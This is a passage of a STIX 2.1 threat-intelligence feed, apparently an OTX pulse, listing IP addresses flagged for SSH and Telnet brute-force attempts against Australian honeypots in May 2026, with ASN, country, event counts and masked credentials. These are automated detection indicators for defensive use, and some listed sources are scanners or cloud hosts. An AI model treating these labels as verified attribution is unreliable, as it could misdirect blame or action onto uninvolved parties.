      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.65.238.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T17:15:05.000Z",
      "valid_until": "2026-06-14T17:15:03.000Z"
    },
    {
      "created": "2026-05-13T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--542c2a9d-1c9e-4e66-8af7-6f0b7727668a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T17:15:05.000Z",
      "valid_until": "2026-06-14T17:15:03.000Z"
    },
    {
      "created": "2026-05-13T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fe28fe16-9400-49e9-9746-2e9d91e01afb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.219.4.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T17:15:05.000Z",
      "valid_until": "2026-06-14T17:15:03.000Z"
    },
    {
      "created": "2026-05-13T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 395793. Organisation(s): Arisk Communications inc.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--16609616-a6f8-48b2-9bdf-3eb5728ca62e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.24.64.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T17:15:05.000Z",
      "valid_until": "2026-06-14T17:15:03.000Z"
    },
    {
      "created": "2026-05-13T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 1680. Organisation(s): Cellcom Fixed Line Communication L.P.",
      "id": "indicator--0fe96c22-daeb-4f2e-9ca7-65e1a5ee43a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.172.246.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T17:15:05.000Z",
      "valid_until": "2026-06-14T17:15:03.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c2077d83-7888-476c-a44c-b83d5ab02aec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.250.0.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 265743. Organisation(s): COMERCIAL WASHINGTON ERNESTO OYARCE SAZO E.I.R.L. SENALMAX.",
      "id": "indicator--905f9b37-1352-4946-a1c4-6995b50d4109",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.201.116.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NC. ASN(s): 56089. Organisation(s): OFFRATEL.",
      "id": "indicator--48cdb8c8-febe-40e8-8678-fdba359d8765",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.158.188.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--a33ead81-fbd8-482a-aebf-379d49664117",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.180.141.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 34058. Organisation(s): Limited Liability Company lifecell. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a54c1c52-06a0-4c4a-ba9e-3e6db5577db9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.58.184.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****1, 1*****#, 1********m.",
      "id": "indicator--62bac2fc-7879-41b0-8b03-89b5097ab5d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '220.119.37.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213230. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--2b57c94c-be28-465c-86f6-b9f282ed38ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.161.101.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--89f167ae-3cfb-41ca-b1d0-058e0e2809d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--fd467b3a-2387-4f6c-8dc4-155e828a654a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--3e449657-f615-4042-b4a2-ce840092a748",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.6.165.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 43766. Organisation(s): Mobile Telecommunication Company Saudi Arabia Joint-Stock company.",
      "id": "indicator--e0ddbb0d-f609-467a-b0cc-00f7b93e6be4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.223.249.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:15:10.000Z",
      "valid_until": "2026-06-14T18:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: BD. ASN(s): 147303. Organisation(s): ColoCone.",
      "id": "indicator--22918f97-9d59-4e76-846b-882ceebb36ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.174.153.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--eebe5306-e431-4a64-b603-15d9a71cd6ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.172.135.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7d916d3d-fe15-43f7-a313-33be4d9b11d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.154.207.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 153568. Organisation(s): NEW DHAKA HARDWARE.",
      "id": "indicator--0240ba86-3e2b-4de8-a1a9-c02f72716fb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '163.61.188.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e70e019e-4043-4583-adce-17e3c0de3f9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269424. Organisation(s): M dos santos rodrigues.",
      "id": "indicator--4c3a73f2-d90b-4fb0-9fb3-c157988d190e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.186.135.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--0d9f4ca3-d8b1-490b-a0c9-5d05a5f99276",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.15.55.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--6c02aa97-b0d7-446b-bd0a-48b090d11ea8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.223.86.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--da507950-a9ce-46b4-b0f5-189c4db90778",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--c9903841-5668-46c8-90a7-8897c5aba0bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 11427. Organisation(s): Charter Communications Inc. Usernames observed (masked): r**t. Passwords observed (masked): Z*******@.",
      "id": "indicator--853f709c-49db-42c6-bece-17b58269dd7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.76.244.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 213459. Organisation(s): Snowd Security OU. Usernames observed (masked): r**t. Passwords observed (masked): 1*******r.",
      "id": "indicator--1b91b0ae-6c2a-43ba-8a88-55cfc8e00039",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.44.76.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 50673. Organisation(s): Serverius Holding B.V.. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--93e14183-2962-4a19-a74d-67d298697ffe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.158.210.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:15:11.000Z",
      "valid_until": "2026-06-14T19:15:08.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 55688. Organisation(s): PT. Beon Intermedia. Usernames observed (masked): r**t, a******c, 3**********4. Passwords observed (masked): 1**0, 3***********4, 3**********4, A******5, F*****u.",
      "id": "indicator--2a950fa6-9fde-45de-871d-237bb2bfdcfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.157.96.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 219. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 24544. Organisation(s): Laws Cloud Infrastructure Limited. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, !******2, 1**0, A*******c.",
      "id": "indicator--517f266a-de78-4dfc-aad9-cf4f10abec51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.243.24.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0457c744-e2fd-4d55-b713-8a3de4f0756c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.40.67.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--df2d7557-b607-438c-99ad-73ddefd5da2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.105.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--c9d3ff3e-8217-42ba-b8f1-d376d149894a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom. Usernames observed (masked): r**t, 3**********4, a******c. Passwords observed (masked): 3***********4, 3**********4, ***, 2**0, 3****4.",
      "id": "indicator--ca70df8c-9786-4d8a-9a2a-71b1c55a316a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.185.136.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27747. Organisation(s): Telecentro S.A..",
      "id": "indicator--c7c8634e-5170-4ee2-8b5b-9cb2a95a8813",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-13T20:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.45.134.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:15:05.000Z",
      "valid_until": "2026-06-14T20:15:03.000Z"
    },
    {
      "created": "2026-05-13T20:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: EC. ASN(s): 269955. Organisation(s): ALFATV CABLE S.A.",
      "id": "indicator--fd62dfed-3e0a-4c88-abb1-51ac1ee5d3ab",
      "labels": [
        "bruteforce"
      ],
